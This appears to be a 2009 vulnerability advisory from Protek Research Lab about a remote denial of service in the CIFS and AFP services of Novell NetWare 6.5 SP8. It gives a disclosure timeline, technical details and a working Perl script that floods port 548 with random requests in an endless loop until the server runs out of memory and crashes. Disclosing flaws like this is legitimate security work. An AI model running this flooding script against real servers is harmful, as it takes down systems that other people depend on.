{PRL} Novell Netware CIFS And AFP Remote Memory Consumption DoS

[Protek Research Lab <protekresearchlab@xxxxxxxx>]

#####################################################################################

Application:   Novell Netware CIFS And AFP Remote Memory Consumption DoS
           
Platforms:   Novell Netware 6.5 SP8

Crash:   YES
   
Exploitation:   Remote DoS

Date:   2009-12-21

Author:   Francis Provencher (Protek Research Lab's)
             
Blog:   http://protekresearch.blogspot.com/


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) The Code


#####################################################################################

===============
1) Introduction
===============

Novell,Inc. is a global software and services company based in Waltham, 
Massachusetts. The company specializes in enterprise operating systems, such as 
SUSE Linux Enterprise and Novell NetWare; identity, security, and systems 
management solutions; and collaboration solutions, such as Novell Groupwise and 
Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and 
software development. Novell technology contributed to the emergence of local 
area networks, which displaced the dominant mainframe computing model and 
changed computing worldwide. Today, a primary focus of the company is on 
developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Report Timeline
============================

2009-12-21 Vendor Contact
2009-12-22 Vendor Recontact
2009-12-29 Vendor Recontact
2010-01-05 Disclosure of this advisory

#####################################################################################

============================
3) Technical details
============================

CIFS.nlm Semantic Agent (Build 163 MP)
Version 3.27 November 13, 2008

AFPTCP.nlm Build 163 SP
Version 3.27 November 13, 2008


The CIFS and AFP protocols have a memory consumption problem when their 
received lot's of malformed arbitrary requests on their respective
services. Sending arbitrary crafted requests to these services will
consumme all the memory available, create multiples abends and finally crash 
the whole server..... It could take couple of minutes to hours (Depend of the 
memory available on the server ).



#####################################################################################

===========
4) The Code
===========

#!/usr/bin/perl
#       Found by Francis Provencher for Protek Research Lab's
#       {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of 
Service
#       Here is a modified version from the script written by the researcher 
Jeremy Brown
#       http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html
#     

use IO::Socket;
use String::Random;

$target   = $ARGV[0];
$port     = 548;
$protocol = tcp;
$maxsize  =
666;
$random   =
0;

if((!defined($target) || !defined($port) || !defined($protocol) || 
!defined($maxsize)))
{

     print "usage: $0 <target> \n";
     exit;

}

while(1)
{

$sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, 
PeerPort=>$port)
        or logit();

$rand   = new String::Random;
$random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";

     $sock->send($random);
     close($sock);

}


#####################################################################################
(PRL-2009-27)



      __________________________________________________________________
Looking for the perfect gift? Give the gift of Flickr! 

http://www.flickr.com/gift/